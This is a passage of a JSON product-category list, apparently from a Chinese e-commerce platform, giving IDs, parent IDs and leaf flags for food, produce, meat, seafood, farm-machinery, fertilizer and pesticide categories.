et_child":false},{"id":29003,"name":"五加皮","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29004,"name":"五味子","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28970,"name":"雪燕","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29015,"name":"益母草","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29018,"name":"蛹虫草","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29014,"name":"皂角米","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29012,"name":"珍珠粉","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29038,"name":"制何首乌","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29048,"name":"其它新食品原料类","parent_cid":22193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33138,"name":"关东煮","parent_cid":32688,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34083,"name":"火锅半成品","parent_cid":32688,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33492,"name":"煎炒类半成品菜","parent_cid":32688,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34084,"name":"凉菜/凉拌肉类","parent_cid":32688,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33494,"name":"烧烤半成品","parent_cid":32688,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33139,"name":"酸菜鱼","parent_cid":32688,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33137,"name":"羊蝎子","parent_cid":32688,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33493,"name":"油炸类半成品菜","parent_cid":32688,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33495,"name":"蒸煮类半成品菜","parent_cid":32688,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34085,"name":"其他半成品菜","parent_cid":32688,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22329,"name":"加工蛋类及蛋制品","parent_cid":20173,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22328,"name":"鲜活蛋类","parent_cid":20173,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22479,"name":"贝类","parent_cid":20250,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32093,"name":"多种海鲜套餐","parent_cid":20250,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22473,"name":"海参","parent_cid":20250,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32679,"name":"海产干货","parent_cid":20250,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22523,"name":"海鲜水产礼盒","parent_cid":20250,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32680,"name":"海鲜制品","parent_cid":20250,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22474,"name":"海蜇","parent_cid":20250,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33818,"name":"花胶/鱼胶","parent_cid":20250,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33713,"name":"甲鱼","parent_cid":20250,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32092,"name":"螺类","parent_cid":20250,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22477,"name":"虾类","parent_cid":20250,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22478,"name":"蟹类","parent_cid":20250,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22480,"name":"鱼类","parent_cid":20250,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22476,"name":"藻类","parent_cid":20250,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32175,"name":"章鱼/鱿鱼/乌贼/海兔","parent_cid":20250,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22472,"name":"其它","parent_cid":20250,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28258,"name":"饼类","parent_cid":31987,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32132,"name":"冷冻面条","parent_cid":31987,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28256,"name":"面点类","parent_cid":31987,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32124,"name":"面点组合/礼盒","parent_cid":31987,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32133,"name":"米饭/面条/粥/罐头","parent_cid":31987,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32128,"name":"纳豆","parent_cid":31987,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28252,"name":"年糕/糍粑","parent_cid":31987,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28253,"name":"水饺/馄饨","parent_cid":31987,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32129,"name":"薯制品","parent_cid":31987,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28254,"name":"汤圆/元宵","parent_cid":31987,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32126,"name":"西式半成品","parent_cid":31987,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28251,"name":"芋圆","parent_cid":31987,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32131,"name":"其他速冻半成品","parent_cid":31987,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34078,"name":"半成品菜卡券","parent_cid":20251,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34076,"name":"蛋/蛋制品卡券","parent_cid":20251,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22517,"name":"大闸蟹卡券","parent_cid":20251,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22490,"name":"海鲜/水产品/制品卡券","parent_cid":20251,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22524,"name":"烘焙蛋糕卡券","parent_cid":20251,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34077,"name":"冷藏/冷冻卡券","parent_cid":20251,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22491,"name":"生肉/肉制品卡券","parent_cid":20251,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22492,"name":"蔬菜/蔬菜制品卡券","parent_cid":20251,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22511,"name":"水果卡券","parent_cid":20251,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33087,"name":"百合","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22437,"name":"半加工蔬菜","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33107,"name":"半加工蔬菜","parent_cid":20216,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33084,"name":"板栗/锥栗","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33071,"name":"荸荠/马蹄","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33098,"name":"葱","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33089,"name":"冬瓜","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34063,"name":"豆类(新鲜)","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33108,"name":"豆制品","parent_cid":20216,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33072,"name":"番薯","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33090,"name":"黄瓜","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33086,"name":"花生","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34009,"name":"桦树茸","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33075,"name":"胡萝卜","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33099,"name":"姜","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33093,"name":"茄子","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22428,"name":"净菜","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33091,"name":"苦瓜","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33101,"name":"辣椒","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22429,"name":"凉菜/凉拌菜","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33074,"name":"萝卜","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33073,"name":"芦笋","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33092,"name":"南瓜","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33076,"name":"藕/莲子","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33095,"name":"秋葵","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33104,"name":"山葵","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33077,"name":"山药","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32137,"name":"蔬菜组合/蔬菜礼盒礼篮","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33100,"name":"蒜","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33078,"name":"笋","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33852,"name":"笋制品","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33079,"name":"土豆","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33080,"name":"莴笋","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33103,"name":"鲜花椒","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22433,"name":"鲜菌菇","parent_cid":20216,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33094,"name":"西红柿/番茄/圣女果","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33096,"name":"西葫芦","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33102,"name":"西式调料菜","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33081,"name":"洋葱","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22436,"name":"腌制蔬菜/泡菜/酱菜/脱水蔬菜","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33106,"name":"腌制蔬菜/泡菜/酱菜/脱水蔬菜","parent_cid":20216,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22430,"name":"叶菜类","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33082,"name":"玉米","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33083,"name":"芋头/芋艿","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22431,"name":"其他根茎类","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22434,"name":"其他茄果瓜类","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22435,"name":"其他蔬菜","parent_cid":20216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22383,"name":"百香果","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22351,"name":"芭乐/番石榴","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32134,"name":"板栗","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22366,"name":"菠萝/凤梨","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22384,"name":"菠萝蜜","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22353,"name":"草莓","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22401,"name":"车厘子/樱桃","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22347,"name":"橙子","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32135,"name":"甘蔗","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22407,"name":"更多水果","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33122,"name":"姑娘果/灯笼果","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22380,"name":"哈密瓜","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33114,"name":"黑莓","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33125,"name":"黄皮果","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33123,"name":"火参果","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22381,"name":"火龙果","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22334,"name":"桔/橘","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22356,"name":"蓝莓","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22333,"name":"梨","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22355,"name":"莲雾","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22354,"name":"荔枝","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22338,"name":"李子","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22361,"name":"龙眼","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33127,"name":"罗汉果","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22350,"name":"芒果","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33115,"name":"蔓越莓","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22337,"name":"木瓜","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22343,"name":"柠檬","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22382,"name":"牛油果","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22352,"name":"苹果","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22341,"name":"枇杷","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22367,"name":"葡萄/提子","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33119,"name":"青梅","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22403,"name":"奇异果/猕猴桃","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33128,"name":"奇异莓","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22379,"name":"人参果","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33121,"name":"桑葚","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33118,"name":"山楂","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22336,"name":"山竹","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33124,"name":"蛇皮果","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22359,"name":"释迦","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22349,"name":"石榴","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22344,"name":"柿子","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33129,"name":"水果罐头/冷冻水果/水果衍生品","parent_cid":20188,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22408,"name":"水果礼盒","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33113,"name":"树莓","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33126,"name":"酸角","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22332,"name":"桃","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22348,"name":"甜瓜","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33116,"name":"无花果","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22360,"name":"香蕉","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22346,"name":"鲜榴莲","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22331,"name":"鲜枣","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22358,"name":"西瓜","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33120,"name":"西梅","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22330,"name":"杏","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22357,"name":"西柚","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22385,"name":"雪莲果","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22340,"name":"杨梅","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22339,"name":"杨桃","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33117,"name":"燕窝果","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33811,"name":"液氮/冷冻榴莲","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22345,"name":"椰青","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22342,"name":"柚子","parent_cid":20188,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32121,"name":"鹌鹑","parent_cid":20268,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34022,"name":"动物油脂","parent_cid":20268,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22529,"name":"鹅肉","parent_cid":20268,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32189,"name":"鹅肉","parent_cid":20268,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22528,"name":"鸽类","parent_cid":20268,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32122,"name":"更多肉类","parent_cid":20268,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22536,"name":"火锅丸料","parent_cid":20268,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22534,"name":"鸡肉类","parent_cid":20268,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34026,"name":"昆虫类","parent_cid":20268,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32119,"name":"鹿肉","parent_cid":20268,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32118,"name":"驴肉","parent_cid":20268,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34475,"name":"驴肉制品","parent_cid":20268,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22530,"name":"牛肉类","parent_cid":20268,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32196,"name":"肉制品","parent_cid":20268,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32120,"name":"兔肉","parent_cid":20268,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22532,"name":"羊肉类","parent_cid":20268,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22535,"name":"鸭肉类","parent_cid":20268,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22531,"name":"猪肉类","parent_cid":20268,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33923,"name":"耕种机械","parent_cid":33715,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33925,"name":"农机配件","parent_cid":33715,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33922,"name":"农用拖拉机","parent_cid":33715,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33924,"name":"农用无人机","parent_cid":33715,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33926,"name":"施肥机械","parent_cid":33715,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33927,"name":"收割机械","parent_cid":33715,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33928,"name":"植保机械","parent_cid":33715,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33983,"name":"单质氮肥","parent_cid":33714,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33985,"name":"单质钾肥","parent_cid":33714,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33984,"name":"单质磷肥","parent_cid":33714,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33980,"name":"复合肥/掺混肥","parent_cid":33714,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33981,"name":"水溶肥/叶面肥","parent_cid":33714,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33982,"name":"微生物肥料","parent_cid":33714,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33979,"name":"有机肥","parent_cid":33714,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32274,"name":"除草剂","parent_cid":32191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32276,"name":"杀虫剂","parent_cid":32191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32275,"name":"杀菌剂","parent_cid":32191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32279,"name":"杀螺剂","parent_cid":32191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32278,"name":"杀螨剂","parent_cid":32191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32280,"name":"杀线虫剂","parent_cid":32191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32277,"name":"植物生长调节剂","parent_cid":32191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34584,"name":"草本种苗","parent_cid":21012,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34585,"name":"粮食种子","parent_cid":21012,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32298,"name":"仿真果蔬","parent_cid":32201,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32299,"name":"仿真花/假花","parent_cid":32201,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32300,"name":"仿真绿植","parent_cid":32201,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32301,"name":"大型绿植/成品组合盆栽","parent_